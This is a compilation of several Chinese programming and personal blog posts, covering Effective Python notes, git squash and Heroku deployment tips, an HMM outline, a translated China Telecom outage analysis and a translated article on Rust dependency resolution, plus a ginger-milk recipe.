* 标识着位置参数结束,之后的参数只能以关键字形式指定。

22. 尽量用辅助类来维护程序状态,而不用字典和元组

  1. 不使用包含字典的字典或者过长的元组;
  2. 具名元组:collections.namedtuple

23. 简单的接口应该接受函数,而不是类的实例

  1. Python中的函数是一级对象,函数和方法可以像语言中的其他值那样传递和引用;
  2. 举例:
    • list类型的sort方法
    • defaultdict
  3. __call__ 使类的实例像普通函数那样调用;
  4. 如果要用函数保存状态,就应该定义新的类,并令其实现 __call__ 方法,而不要定义带状态的闭包。

24. 以 @classmedtod 形式的多态去通用地构建对象

  1. 每个类只能有一个构造器,即 __init__
  2. @@classmedtod 机制可以用一种与构造器相似的方式构造类对象;

25. 用 super 初始化父类

  1. Python采用标准的方法解析解析顺序来解决 超类初始化次序菱形继承问题
  2. super 在Python2和Python3不一致;

Python 3 中以下两种方式效果相同

class Explicit(MyBaseClass):

    def __init__(self, value):
        super(__class__, self).__init__(value)

class Implicit(MyBaseClass):

    def __init__(self, value):
        super().__init__(value)
  1. 总是应该使用内置的 super 函数来初始化父类;
  2. 类的 mro 方法可以查看方法解析顺序:MyClass.mro()

26. 只在使用 Mix-in 组件制作工具类时进行多重继承

  1. mix-in 是一种小型类,它只定义了其他类可能需要提供的一套附加方法,而不定义自己的实例属性,它也不要求使用者调用自己的 __init__ 构造器;
  2. 能用 mix-in 组件实现的效果,就不要用多重继承来做;
  3. 将各个功能实现为可插拔的 mix-in 组件,然后让相关类继承自己需要的组件,即可定制该类实例所应具备的行为;
  4. 简单行为封装到 mix-in 组件中,然后用多个组件组合出复杂功能。

27. 多用 public 属性,少用 private 属性

  1. Python解释器无法严格保证 private 字段的私密性(Python中会将类的 private 属性名称变化为 _{类名称}__{原private属性名称});
  2. 不要盲目将属性设置为 private,而是一开始就做好规划,并允许子类更多地访问超类内部API;
  3. 多用 protected 属性,并在文档中将这些字段的合理用法告诉开发者,而不要试图用 private 属性来限制子类访问;
  4. 只有当子类不受自己控制时,才可考虑使用 private 属性避免冲突。

28. 继承 collections.abc 以实现自定义容器类型

编写自定义容器类型时,从 collections.abc 模块的抽象基类中继承,那些基类可以确保子类具有适当的接口和行为。

49. 为每个函数、类和模块编写文档字符串

  1. docstring

54. 模块级别代码配置不同的部署环境

  1. 环境变量
  2. ossys

55. 用 repr 输出调试信息

  1. print 易于阅读字符串
  2. repr 可供打印字符串,eval 还原为初始值
  3. 格式化字符串:%s => str; %r => repr
  4. __repr__ 自定义可供打印字符串;
  5. __dict__ 任意对象查询实例字典;

示例:

>>> print(5)
5
>>> print('5')
5
>>> print(repr(5))
5
>>> print(repr('5'))
'5'
>>> print('%s' % 5)
5
>>> print('%s' % '5')
5
>>> print('%r' % 5)
5
>>> print('%r' % '5')
'5'

56. unittest 测试

要确保 Python 程序能正常运行,唯一的方法就是编写测试。 Python 语言动态特性,一方面阻碍了静态类型检测,另一方面却有利于开发者进行测试。

  1. 断言(assertion):assertEqualassertTrueassertRaises
  2. mock
  3. setUptearDown
  4. 单元测试,集成测试

57. pdb 交互调试

import pdb; pdb.set_trace()

  1. btupdown
  2. stepnextreturncontinue

58. 性能分析

  1. Python 性能分析工具 profileprofilecProfile
  2. runcall
  3. Stats

59. tracemalloc 内存使用及泄漏

CPyhton:引用计数,gc

  1. gc.get_objects()
  2. tracemalloc.take_snapshot()

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

在 Github 上“连续”提交187天

这也是我关于自己在Github上连续提交173天的过程。准确说这并不是我连续173天在Github提交代码,在整个过程中总共中断了两次,第一次是在农历大年三十,和家人吃完年夜饭聊天完已经过了提交时间点了,第二次是在3月2号,家里的猫因为生病照顾了一个晚上。总得来讲这是一次非常有挑战但是却收获很大的过程。

开始

故事起因于自我懈怠的感知,我在去年年底有很长一段时间不知道自己改做什么,处在十分疲惫的状态,以至于在12月的时候连着一周没有任何提交,知道我觉得自己应该做些什么改变。我想起了很早之前的一遍博客:《我泡在GitHub上的177天》,于是,我决定试着实践一次在 Github 上进行连续提交,以改变自己的状态。

我试着按照博客中的约定给自己定下了几条提交的要求:

  1. 提交必需要有意义,不能是简单的编辑格式或者修改错字;
  2. 不能自动化提交过程,不能作弊。

前半段

不可否认,在这个计划刚开始的时候热情十足,有过40个提交的一天,以及好些个十几个提交的日子,虽然40个提交只是整理博客带来的,但也是让我很是激动。即使我在前半端的时间里有过两次终端也没有对降低我的热情。

后半段

在第60天之后,这个挑战的难度就开始显现了,一是我开始出现的疲惫,另一个是因为我开始出现提交枯竭。我在这次挑战中的提交大概有以下几类:

  1. 博客已经相应带来的修改;
  2. 自己的项目想法的提交,比如 SMSFilters
  3. 《强化学习导论(第二版)》的学习笔记;
  4. 对开源项目的贡献,包括issue和PR;
  5. 日常阅读文章的记录。

博客刚开始写得勤,一周一到两篇,后来能两三周一篇就已经算很多了;项目的想法不可能一直有;学习笔记越到后边越困难,渐渐一章一节的时间就加长了;对开源的项目的提交并不能都得到合并;阅读的文章也不能总是读到很优秀的文章。所以后来,每天的提交频率基本处于保底。

结束和总结

今天决定这是这次挑战的最后一个提交,写成一遍简短的博客做为结束。终于如释重负,放下了心头的重担。

正如那篇博客提及的一样,如果一个好习惯被刻意过度遵循的话也会变成坏事;每天完成的一个目标连起来形成一条链时,它会激励你去继续完成目标,保持这条链不断裂。

最后,我觉得对于 Github 的提交统计计算也有一些小的提示和想法:

  1. fork别人的项目也是算提交的,即使你没给别人提交PR,可能Github觉得这也算是为开源的传播贡献了一份力量吧;
  2. 提交时间上,在北京时间大约一点之前的提交都还算是头一天的提交,当然我觉得在这个点提交也是要冒没赶上的风险的;
  3. commit 之后就算时间了,不一定要马上推送到远程;
  4. 好的想法也算是提交,对一篇文章的想法也可以包含在内。

我最后的建议是进行一次这样的挑战,可以给自己带来一个好的习惯。

HMM理解思路

HMM

本文整理简单整理一下HMM的理解思路。

模型

马尔科夫性与马尔科夫链

性质: - 有限历史假设 - 时间不变性

隐马尔科夫模型

  1. 模型定义: 1、初始状态概率向量 ,其中 2、状态转移概率矩阵 ,其中 3、观测概率矩阵 ,其中 4、观测序列 ,状态序列 5、状态集合 ,观测集合

  2. 模型三元组

    状态转移概率矩阵A与初始状态概率向量确定了隐藏的马尔科夫链,生成不可观测的序列。观测概率矩阵B确定了如何从状态生成规则,与状态序列综合确定了如何产生观测序列。

  3. 模型基本假设:

    • 齐次马尔科夫性假设:设隐马尔科夫链在任意时刻t的状态只依赖于其前一时刻的状态,与其他时刻的状态及观测无关,也与时刻t无关。
    • 观测独立性假设:假设任意时刻的观测只依赖于该时刻的马尔科夫链的状态,与其他观测和状态无关。
  4. 例子:

三个问题

概率计算问题(评估)

给定模型 和观测序列 ,计算在模型 下观测序列 出现的概率 。 - 穷举搜索,O(TN^T) - 前向算法,O(N^2T) - 后向算法

预测问题(解码)

已知观测序列 和模型 ,求给定观测序列条件概率 最大的状态序列 ,即给定观测序列,求最有可能的对应的状态序列。 - 穷举搜索 - 近似计算 - 维特比(Viterbi)算法:动态规划

学习问题

已知观测序列 ,估计模型 ,使 最大。 - 监督算法:利用极大似然估计 - 非监督算法:Baum-Welch算法(EM算法在HMM中的具体实现)

应用

语音识别,中文分词,手写识别

参考

  1. 《统计学习方法》,李航
  2. 隐马尔科夫模型(HMM)及其Python实现

姜汁撞奶小记

上周陪着看《向往的生活》,黄磊在节目中给大家做了一次姜汁撞奶,看着大家都吃得都开了花似的,于是决定我也要做一次。

1.0版本

在超市买菜的时候随手买了生姜和牛奶,回到家放进冰箱也就忘了。昨天想起来开始做时已经过了五天了,开始第一次尝试。首先把生姜切成小块,放碗里用擀面杖捣碎了,因为生姜有点干了,加了点水挤出来小半碗姜汁,然后把牛奶加入白糖煮开了,倒入装姜汁的碗中,然后将碗中的撞奶放到锅上蒸了五分钟。但是,结果并没有像电视上那样好,牛奶还是牛奶,加了姜汁和糖的牛奶。为什么会失败呢?

认真分析了一下原因,我想大概是是这样的:姜汁撞奶的过程就是蛋白质变性的过程,牛奶中的蛋白质和姜汁中的某些物质混合导致蛋白质变性,和做豆腐脑的过程差不多,但是因为原料的品质没有达到变性的要求:

  1. 生姜放着已经变干了,没有什么汁水,我又加了水,导致姜汁的浓度不够;
  2. 牛奶的保质期是8天,加上放置的几天,基本也就是变质前一天才用,这是蛋白质已经发生了一些变化,从我之后买的新鲜的牛奶的对比可以看出这时的牛奶已经有些变浑了,而且可能牛奶不是全脂的,蛋白质浓度不高;
  3. 姜汁和牛奶混合之后放锅上蒸其实是为了保温,但是加热沸腾会使最后变性的过程被破坏,没法凝成豆腐脑那样。

基于以上的分析,我决定再试一次。

2.0版本

首先选材,生姜选老一些的,这样是蛋白质变性的物质含量高,牛奶选全脂的,蛋白质含量高。其次,做法上,生姜用板子磨成末挤姜汁水,牛奶煮的时候煮到快开再关火等10秒,这样大概就是80度,然后与姜汁混合。混合的时候把姜汁分成了两个碗,每个碗倒入原来一般的牛奶,这样就比之前更好控制。混合之后不搅动,并用盘子盖住保持温度,等10分钟左右。

经过这些改进,我终于得到了形似豆腐脑的姜汁装奶!虽然没有把握好糖的量使得牛奶有些淡,但2.0版本味道确实不错。

ginger_milk

总结

做一件事要了解原理,掌握每一步的技术细节和对结果的影响,这样才能做好一件事!这就是两次姜汁撞奶的总结。

网络故障透露中国互联网接入现状

原文:Internet Outage Reveals Reach of China’s Connectivity

太平洋标准时间5月13日中午12点30分(北京时间5月14日凌晨3:30),中国电信经历了持续近5个小时的重大故障,后续效应持续了几个小时。正如在美国对贸易政策的紧张局势加剧之时所做的那样,可能很容易让人联想到对潜在地缘政治动机的猜测。然而,这种猜测忽略了许多人都不知道的关于中国和互联网的一些重要的基本现实。这次中断是深入了解中国互联网连接状况的绝佳机会。

我们所见的

昨天,从下午早些时候开始,我们的全球优势点开始检测到中国电信骨干网上进出中国的互联网流量出现大量数据包丢失。数据包丢失持续数小时,主要影响中国大陆的网络基础设施,但也影响中国电信在新加坡的网络和美国的多个接入点,包括洛杉矶。

在长时间中断的过程中,通过受影响的基础设施的任何流量都被丢弃,这意味着中国境内外的一些互联网用户将遇到连接到各种网站和应用程序的服务中断。中国境内的用户试图访问中国以外的网站会受到影响,同时中国以外的用户尝试连接到中国境内的网站也是如此。

这些不仅仅影响西方网站和服务,许多美国主要网站,如Apple,Amazon,Microsoft,Slack,Workday,SAP等在中断期间都受到了影响。下图显示了中断的附带损害的部分范围。

Figure-1-China-Telecom-outage

图1:受中国电信中断影响的基于云的服务。

在最高峰时,我们检测到因中国电信全球骨干网络状况而中断的100多项服务。我们还检测到中断对地理影响的变化,如下面的两个热图所示,在中断期间的不同点捕获。

Figure-2-Geographic-scope-China-Telecom-outage

图2:中国电信中断的地理范围在中断期间有所不同。

最严重的中断期是在太平洋标准时间12:30开始后的前三个小时内发生的,但许多服务在数小时后继续受到影响。一项特定服务的中断的扩展性质可以在下面的图3中看到。Amazon Web Services的数据包丢失从太平洋标准时间12:30开始飙升,持续约5个小时。下面的路径可视化显示了在17:30-17:45(太平洋标准时间)之间的网络状况,此时前往AWS的流量继续被中国电信路由器丢弃。

Figure-3-AWS-services-impacted

图3:中国电信用户在12:30-17:45(太平洋标准时间)之间受影响的AWS服务。

受中断影响的另一家美国服务是Cloudflare的托管DNS服务。例如,WeWork的域名由Cloudflare托管,在下面的路径可视化中,您可以看到尝试访问Cloudflare的DNS服务器的流量(由最右边的绿色节点表示,IP地址为173.245.58.135,这是地理位置位于美国的路由前缀173.245.58.0/24的一部分。)被中国境内的中国电信路由器丢弃。结果是来自中国境内的许多用户无法访问WeWork网站。

Figure-4-Cloudflare-DNS-resolution

图4:Cloudflare的托管DNS服务受到影响,阻止了WeWork域的DNS解析。

中国是深度互联的

中断现已解决,但在ThousandEyes,我们相信每次互联网停运都是一次学习机会,这也不例外。这里有两个要点可能一般不太清楚。

首先,大多数人认为“长城防火墙”是一套统一管理的规则,使中国用户与全球其他地方隔离。他们想象一方面是中国庞大的用户和为他们提供服务的网络基础设施,另一方面,互联网的其余部分。但现实情况是,中国与外部网站和服务的联系非常紧密──至少是那些服务于商业利益的网站和服务。

中国互联网服务提供商(ISP)的标准操作程序允许访问大多数西方基于云的业务服务。通过允许国内和外国公司更有效地开展业务,从中国境内进入这些类型的网站符合中国的利益。通俗地说,您可以从中国境内访问许多美国服务。

其次,大多数人也可能没有意识到中国的互联网服务提供商将拥有全球性的存在。但是,如上图2所示,中国电信控制和管理的基础设施范围远远超出了中国的地理边界。该提供商还维护全球互联,与全球许多地方的服务提供商保持联系。

那些回忆起去年影响谷歌服务的BGP路由泄漏的读者,可能还记得中国电信在那一集中的客串。中国电信与负责尼日利亚工厂路线泄漏的ISP(MainOne)保持联系。中国电信未能过滤通往谷歌的广告路线(而是将其传播给其他同行),导致一些用户试图访问谷歌的服务中断。

互联网无处不在

无论互联网在哪里,无论是在一个自由的民主国家,还是在高度国家控制的环境中,它都是根本无法预测的。这是由于它被构建为自愿互连但单独管理的网络,基础技术的自动化性质(例如BGP路由)以及完全缺乏集中式运营管理的的集合。

当互联网的某个部分出现糟糕的事情时,尤其是在像中国这样的后续国家,互联网的其他部分会产生连锁反应。在这种情况下,超过一百种商业服务受到影响,毫无疑问,因此产生了生产力和收入损失。

当你考虑互联网是多么不可预测的时候,今天的企业依赖互联网的程度相当惊人。这是最终的不受控制的环境。这就引出了一个问题,如果你无法直接控制它,你是否拥有尽可能最好地管理它的可见性?

现在关于那个猜测

因为ThousandEyes本质上是(不断变化的)互联网的实时地图,我们能够跟踪互联网中断及其全球影响,无论是在中国,俄罗斯还是其他地方,但我们不能也不会推测这种网络事件的地缘政治和可能的动机(如果有的话)。

然而,值得注意的是,中国的互联网服务提供商非常精通对进出网络的流量实施细粒度控制。如果有意展示禁用美国应用程序和服务的能力,那么从技术角度来看,它肯定没有得到很明确的体现。毕竟,被破坏的网站和服务是不分青红皂白的,影响到中国境内外的人。

立即获得可见性

主要的互联网中断是企业团队关注企业所依赖的大量外部依赖关系的警钟。如果你无法深入了解四面墙以外的应用和网络层条件,那么当你的云和互联网生态系统发生不可预测的事情时,您将陷入困境。

Git合并提交

在日常开发中,我们的Git提交原则经常是小功能多次提交,但是有时需要在完成功能之后将多个连续的提交合并成一个,或者进行分支合并时,只保留一个提交,以保证分支简介,这时就需要进行squash操作,两种分别称为 Rebase Squash 和 Merge Squash。这篇tip主要记录如何处理这两种操作以及之间的区别,

Rebase Squash

用来将多个连续的提交合并为一个,以下面的提交记录为例,master是主分支,分支 featureY 提交了一系列的修改:

$ git lg
* 392dc11 - (HEAD -> featureY) Y5 (5 minutes ago) <qiwihui>
* 740e7d2 - Y4 (5 minutes ago) <qiwihui>
* b54cd87 - Y3 (5 minutes ago) <qiwihui>
* fb3a5cf - Y2 (6 minutes ago) <qiwihui>
* 61b5ff9 - Y1 (6 minutes ago) <qiwihui>
* 220e45c - (master) feature X (7 minutes ago) <qiwihui>

其中,lg 是如下命令:

[alias]
        lg = log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit --

这里我们需要合并 featureY 功能分支上的 Y1Y5 这五个提交为一个。git提供了如下命令:

git rebase --interactive HEAD~[N]
# 或者
git rebase -i HEAD~[N]

其中 [N] 表示需要合并的数量,从最近一个提交开始数,这里为5。在命令行输入 git rebase --interactive HEAD~5 进入编辑器进行选择。 注意,这里的提交顺序是 的,从最早的 Y1 开始:

pick 61b5ff9 Y1
pick fb3a5cf Y2
pick b54cd87 Y3
pick 740e7d2 Y4
pick 392dc11 Y5

对应需要合并的提交,将pick改成squash(或者简化为s),修改之后为:

pick 61b5ff9 Y1
s fb3a5cf Y2
s b54cd87 Y3
s 740e7d2 Y4
s 392dc11 Y5

保存并关闭编辑器,这是编辑器会自动跳出并需要你提交一个新的提交:

# This is a combination of 5 commits.
# This is the 1st commit message:

Y1

# This is the commit message #2:

Y2

# This is the commit message #3:

Y3

# This is the commit message #4:

Y4

# This is the commit message #5:

Y5

# Please enter the commit message for your changes. Lines starting
# with '#' will be ignored, and an empty message aborts the commit.
#
# Date:      Thu May 9 13:45:03 2019 +0800
#
# interactive rebase in progress; onto 220e45c
# Last commands done (5 commands done):
#    squash 740e7d2 Y4
#    squash 392dc11 Y5
# No commands remaining.
# You are currently rebasing branch 'featureY' on '220e45c'.
#
# Changes to be committed:
#    new file:   featY
#

可以看到,Git提供了详细的信息指导提交,只需要修改成你需要的信息即可,比如 featureY,然后保存。这时就完成了修改,修改之后的提交信息如下:

$ git lg
* 1b07941 - (HEAD -> featureY) featureY (3 minutes ago) <qiwihui>
* 220e45c - (master) feature X (36 minutes ago) <qiwihui>

Merge Squash

用于在合并分支时,最后只在合并后的分支上保留一个提交。同样以上面的代码提交为例子。

$ git lg
* 392dc11 - (HEAD -> featureY) Y5 (5 minutes ago) <qiwihui>
* 740e7d2 - Y4 (5 minutes ago) <qiwihui>
* b54cd87 - Y3 (5 minutes ago) <qiwihui>
* fb3a5cf - Y2 (6 minutes ago) <qiwihui>
* 61b5ff9 - Y1 (6 minutes ago) <qiwihui>
* 220e45c - (master) feature X (7 minutes ago) <qiwihui>
$ git checkout master
$ git merge --squash featureY  
Updating 220e45c..392dc11
Fast-forward
Squash commit -- not updating HEAD
 featY | 5 +++++
 1 file changed, 5 insertions(+)
 create mode 100644 featY

此时,分支featureY保持不变,同时在master上多了一个未被提交的更改:

git-merge-squash

$ git status
On branch master
Changes to be committed:
  (use "git reset HEAD <file>..." to unstage)

        new file:   featY

这些更改是分支featureY中所有提交的合并,现在只需要提交这些更改就可以了:

git commit -m "featureY"

区别

从以上的擦坐过程可以看出两者之间的差别:Rebase Squash会合并之前的提交,之前的记录会消失,而Merge Squash只会在合并的分支上新生成提交,原来的那些提交熬还会保留。

多说一点

如果需要合并的提交数量很多,数数容易出错,可以使用提交哈希来识别:

git rebase --interactive [commit-hash]

这个[commit-hash]需要合并的提交之前的一个提交

$ git lg
* 392dc11 - (HEAD -> featureY) Y5 (5 minutes ago) <qiwihui>
* 740e7d2 - Y4 (5 minutes ago) <qiwihui>
* b54cd87 - Y3 (5 minutes ago) <qiwihui>
* fb3a5cf - Y2 (6 minutes ago) <qiwihui>
* 61b5ff9 - Y1 (6 minutes ago) <qiwihui>
* 220e45c - (master) feature X (7 minutes ago) <qiwihui>

这里,需要使用 220e45c 而不是 61b5ff9

参考

在 “Deploy to Heroku” 之后手动更新Heroku应用

这个tips以RSSHub为例子。我在Heroku上部署了RSSHub用以日常RSS需求,这个已经部署很久了(2018年11月),准备更新一版,记录如下。

  1. 登录Heroku,按照提示进行认证并登录。
$ heroku login
  1. 获取最新代码,这里我在RSSHub项目目录中进行了拉取(pull):
$ cd RSSHub
$ git pull origin master
  1. 添加Heroku中项目url,可在 SettingsHeroku Git URL 找到:
$ heroku git:remote -a rss-qiwihui                       
set git remote heroku to https://git.heroku.com/rss-qiwihui.git
  1. 向Heroku推送,这时Heroku会自动进行部署,结果如下:
$ git push heroku master
Enumerating objects: 12288, done.
Counting objects: 100% (12288/12288), done.
Delta compression using up to 4 threads
Compressing objects: 100% (3324/3324), done.
Writing objects: 100% (12288/12288), 6.32 MiB | 40.44 MiB/s, done.
Total 12288 (delta 8027), reused 12287 (delta 8026)
remote: Compressing source files... done.
remote: Building source:
remote: 
remote: -----> Node.js app detected
remote:        
remote: -----> Creating runtime environment
remote:        
remote:        NPM_CONFIG_LOGLEVEL=error
remote:        NODE_ENV=production
remote:        NODE_MODULES_CACHE=true
remote:        NODE_VERBOSE=false
remote:        
remote: -----> Installing binaries
remote:        engines.node (package.json):  >=8.0.0
remote:        engines.npm (package.json):   unspecified (use default)
remote:        engines.yarn (package.json):  unspecified (use default)
remote:        
remote:        Resolving node version >=8.0.0...
remote:        Downloading and installing node 12.1.0...
remote:        Using default npm version: 6.9.0
remote:        Resolving yarn version 1.x...
remote:        Downloading and installing yarn (1.16.0)...
remote:        Installed yarn 1.16.0
remote:        
remote: -----> Restoring cache
remote:        Cached directories were not restored due to a change in version of node, npm, yarn or stack
remote:        Module installation may take longer for this build
remote:        
remote: -----> Installing dependencies
remote:        Installing node modules (yarn.lock)
remote:        yarn install v1.16.0
remote:        [1/4] Resolving packages...
remote:        [2/4] Fetching packages...
remote:        info fsevents@1.2.8: The platform "linux" is incompatible with this module.
remote:        info "fsevents@1.2.8" is an optional dependency and failed compatibility check. Excluding it from installation.
remote:        [3/4] Linking dependencies...
remote:        [4/4] Building fresh packages...
remote:        Done in 55.40s.
remote:        
remote: -----> Build
remote:        
remote: -----> Caching build
remote:        - node_modules
remote:        
remote: -----> Pruning devDependencies
remote:        yarn install v1.16.0
remote:        [1/4] Resolving packages...
remote:        [2/4] Fetching packages...
remote:        info fsevents@1.2.8: The platform "linux" is incompatible with this module.
remote:        info "fsevents@1.2.8" is an optional dependency and failed compatibility check. Excluding it from installation.
remote:        [3/4] Linking dependencies...
remote:        [4/4] Building fresh packages...
remote:        warning Ignored scripts due to flag.
remote:        Done in 8.07s.
remote:        
remote: -----> Build succeeded!
remote: -----> Discovering process types
remote:        Procfile declares types -> web
remote: 
remote: -----> Compressing...
remote:        Done: 143.8M
remote: -----> Launching...
remote:        Released v5
remote:        https://rss-qiwihui.herokuapp.com/ deployed to Heroku
remote: 
remote: Verifying deploy... done.
To https://git.heroku.com/rss-qiwihui.git
 * [new branch]      master -> master
  1. 设置环境变量 HEROKU_SLUG_COMMIT:
$ heroku config:set HEROKU_SLUG_COMMIT=$(git rev-parse --short HEAD)
Setting HEROKU_SLUG_COMMIT and restarting ⬢ rss-qiwihui... done, v8
 ▸    Warning: The "HEROKU_" namespace is protected and shouldn't be used.
HEROKU_SLUG_COMMIT: a8066bd
  1. 验证:

前往相应的页面验证,可以看到在Debug中的 githash值已经是当前最新的hash值了。

githash

Rust如何解决依赖地狱

原文:How Rust Solved Dependency Hell

每隔一段时间我就会参与一个关于依赖管理和版本的对话,通常是在工作中,其中会出现“依赖地狱”的主题。如果你对这个术语不熟悉,那么我建议你查一下。简要总结可能是:“处理应用程序依赖版本和依赖冲突所带来的挫败感”。带着这个,让我们先获得关于依赖解析的一些技术。

问题

在讨论包应该具有哪种依赖关系以及哪些依赖关系可能导致问题时,本主题通常会进入讨论。作为一个真实的例子,在 Widen Enterprises,我们有一个内部的,可重用的Java框架,它由几个软件包组成,为我们提供了创建许多内部服务的基础(如果你愿意的话,微服务)。这很好,但是如果你想创建一个依赖于框架中某些东西的可重用共享代码库呢?如果你尝试在应用程序中使用这样的库,最终可能会得到如下依赖关系图:

first

就像在这个例子中一样,每当你试图在服务中使用库时,你的服务和库很可能依赖于不同版本的框架,这就是“依赖地狱”的开始。

现在,在这一点上,一个好的开发平台将为你提供以下两种选择的组合:

  • 使构建失败并警告我们framework版本21.1.121.2.0相互冲突。
  • 使用语义版本控制允许包定义与其兼容的 一系列 版本。如果幸运的话,两个软件包都兼容的版本集是非空的,你最终可以在应用程序中自动使用其中一个版本。

这两个看起来都合理,对吧?如果两个软件包确实彼此不兼容,那么我们根本无法在不修改其中一个的情况下将它们一起使用。这是一个艰难的情况,但替代方案往往更糟糕。事实上,Java是不该学习的一个很好的例子:

  • 默认行为是允许将依赖项的多个版本添加到类路径(Java的定位类的方式)。当应用程序需要库中的类时,实际使用哪个版本?在实践中,类的加载顺序因环境而异,甚至以非确定的方式运行,因此你实际上不知道将使用哪一个。哎呀!
  • 我们在Widen使用的另一个选择是强制版本对齐。这类似于之前的第二个合理选择,在Java中,依赖关系无法表达兼容性范围,因此我们只选择较新的可能依赖项并祈祷它仍然有效。在前面显示的依赖关系图示例中,我们将强制app升级到framework 21.2.0

这看起来像是一个双输的情况,所以你可以想象,这对添加依赖项非常不利,并且使之成为一个事实上的策略,除了实际的应用程序之外什么都不允许依赖我们的核心框架。

Rust的解决方案

在进行这些讨论时,我会经常提到这是一个不适用于所有语言的问题,作为一个例子,Rust“解决”了这个问题。我常常拿Rust如何解决世界上所有的问题开玩笑,但在那里通常有一个真实的核心。因此,当我说Rust“解决”了这个问题以及它是如何工作的时候,让我们深入了解一下我的意思。

Rust的解决方案涉及相当多的动人的部分,但它基本上归结为挑战我们在此之前做出的核心假设:

最终应用程序中只应存在任何给定包的一个版本。

Rust挑战了这一点,以便重构问题,看看是否有一个在依赖地狱之外更好的解决方案。Rust平台主要有两个功能可以协同工作,为解决这些依赖问题提供基础,现在我们将分别研究并看看最终结果是怎样的。

Cargo和Crates

难题的第一部分当然是Cargo,Rust官方依赖管理器。Cargo类似于NPM或Maven之类的工具,并且有一些有趣的功能使它成为一个真正高质量的依赖管理器(这里我最喜欢的是Composer,一个非常精心设计的PHP依赖管理器)。Cargo负责下载项目依赖的Rust库,称为crates,并协调调用Rust编译器以获得最终结果。

请注意,crates是编译器中的第一类构造。这在以后很重要。

与NPM和Composer一样,Cargo允许你根据语义版本控制的兼容性规则指定项目兼容的一系列依赖项版本。这允许你描述与你的代码兼容(或可能)兼容的一个或多个版本。例如,我可能会添加

#![allow(unused)]
fn main() {
[dependencies]
log = "0.4.*"
}

Cargo.toml文件,表明我的代码适用于0.4系列中log包的任何补丁版本。也许在最终的应用程序中,我们得到了这个依赖树

second

因为在my-project中我声明了与log版本0.4.*的兼容性,我们可以安全地为log选择版本0.4.4,因为它满足所有要求。(如果log包遵循语义版本控制的原则,这个原则对于已发布的库而言并不总是如此,那么我们可以确信这个发布不包括任何会破坏我们代码的重大更改。)你可以在Cargo文档中找到一个更好地解释版本范围以及它们如何应用于Cargo。

太棒了,所以我们可以选择满足每个项目版本要求的最新版本,而不是选择避开遇到版本冲突或只是选择更新的版本并祈祷。但是,如果我们遇到无法解决的问题,例如:

third

没有可以选择满足所有要求的log版本!我们接下来做什么?

名字修饰

为了回答这个问题,我们需要讨论名字修饰。一般来说,名字修饰是一些编译器用于各种语言的过程,它将符号名称作为输入,并生成一个更简单的字符串作为输出,可用于在链接时消除类似命名符号的歧义。例如,Rust允许你在不同模块之间重用标识符:

#![allow(unused)]
fn main() {
mod en {
    fn greet() {
        println!("Hello");
    }
}

mod es {
    fn greet() {
        println!("Hola");
    }
}
}

这里我们有两个不同的函数,名为greet(),但当然这很好,因为它们在不同的模块中。这很方便,但通常应用程序二进制格式没有模块的概念;相反,所有符号都存在于单个全局命名空间中,非常类似于C中的名称。由于greet()在最终二进制文件中不能显示两次,因此编译器可能使用比源代码更明确的名称。例如:

  • en::greet()成为en__greet
  • es::greet()成为es__greet

问题解决了!只要我们确保这个名字修饰方案是确定性的并且在编译期间到处使用,代码就会知道如何获得正确的函数。

现在这不是一个完全完整的名字修饰方案,因为我们还没有考虑很多其他的东西,比如泛型类型参数,重载等等。此功能也不是Rust独有的,并且确实在C++和Fortran等语言中使用了很长时间。

名字修饰如何帮助Rust解决依赖地狱?这一切都在Rust的名字管理体系中,这似乎在我所研究的语言中相当独特。那么让我们来看看?

在Rust编译器中查找名字修饰的代码很简单;它位于一个名为symbol_names.rs的文件中。如果你想学习更多内容,我建议你阅读这个文件中的注释,但我会包括重点。似乎有四个基本组件包含在一个修饰符号名称中:

  • 符号的完全限定名称。
  • 通用类型参数。
  • 包含符号的crate的名称。(还记得crates在编译器中是一流的吗?)
  • 可以通过命令行传入的任意“歧义消除器(disambiguator)”字符串。

使用Cargo时,Cargo本身会将“歧义消除器”提供给编译器,所以让我们看一下compilation_files.rs包含的内容:

  • 包名字
  • 包源
  • 包版本
  • 启用编译时功能
  • 一堆其他的东西

这个复杂系统的最终结果是,即使是不同版本的crate中的相同功能也具有不同的修饰符号名称,因此只要每个组件知道要调用的函数版本,就可以在单个应用程序中共存。

合在一起

现在回到我们之前的“无法解决的”依赖图:

forth

借助依赖范围的强大功能,以及Cargo和Rust编译器协同工作,我们现在可以通过在我们的应用程序中包含log 0.5.0log 0.4.4来实际解决此依赖关系图。app内部使用log的任何代码都将被编译以达到从0.5.0版生成的符号,而my-project中的代码将使用为0.4.4版生成的符号。

现在我们看到了大局,这实际上看起来非常直观,并解决了一大堆依赖问题,这些问题会困扰其他语言的用户。这个解决方案并不完美:

  • 由于不同版本生成不同的唯一标识符,因此我们无法在库的不同版本之间传递对象。例如,我们无法创建一个log 0.5.0LogLevel并将其传递给my-project使用,因为它期望LogLevel来自log 0.4.4,并且它们必须被视为单独的类型。
  • 对于库的每个实例,任何静态变量或全局状态都将被复制,如果没有一些特殊方法,它们就无法通信。
  • 我们的二进制大小必然会因为我们应用程序中包含的库的每个实例而增加。

由于这些缺点,Cargo仅在需要时才采用这种技术来解决依赖图。

为了解决一般用例,这些似乎值得为Rust做出权衡,但对于其他语言,采用这样的东西可能会更加困难。以Java为例,Java严重依赖于静态字段和全局状态,因此简单地大规模采用Rust的方法肯定会增加破坏代码的次数,而Rust则将全局状态限制在最低限度。这种设计也没有对在运行时或反射时加载任意库进行说明,这两者都是许多其他语言提供的流行功能。

结论

Rust在编译和打包方面的精心设计以(主要)无痛依赖管理的形式带来红利,这通常消除了可能成为开发人员在其他语言中最糟糕的噩梦的整类问题。当我第一次开始玩Rust的时候,我当然很喜欢我所看到的,深入了解内部,看到宏大的架构,周到的设计,以及合理的权衡取舍对我来说更令人印象深刻。这只是其中的一个例子。

即使你没有使用Rust,希望这会让你对依赖管理器,编译器以及他们必须解决的棘手问题给予新的重视。(虽然我鼓励你至少尝试一下Rust,当然……)

GitHub repo: qiwihui/blog

Follow me: @qiwihui

Site: QIWIHUI

word2vec理解思路

本文归纳整理了一些论文和博客对word2vec的理解,以期理解word2vec。

概述

语言表示:词向量

  1. 词的独热表示(One-Hot Representation)

    缺点:

    • 容易受维数灾难的困扰;
    • 不能很好地刻画词与词之间的相似性,任意两个词之间都是孤立的;
  2. 词的分布式表示(Distributed Representation)

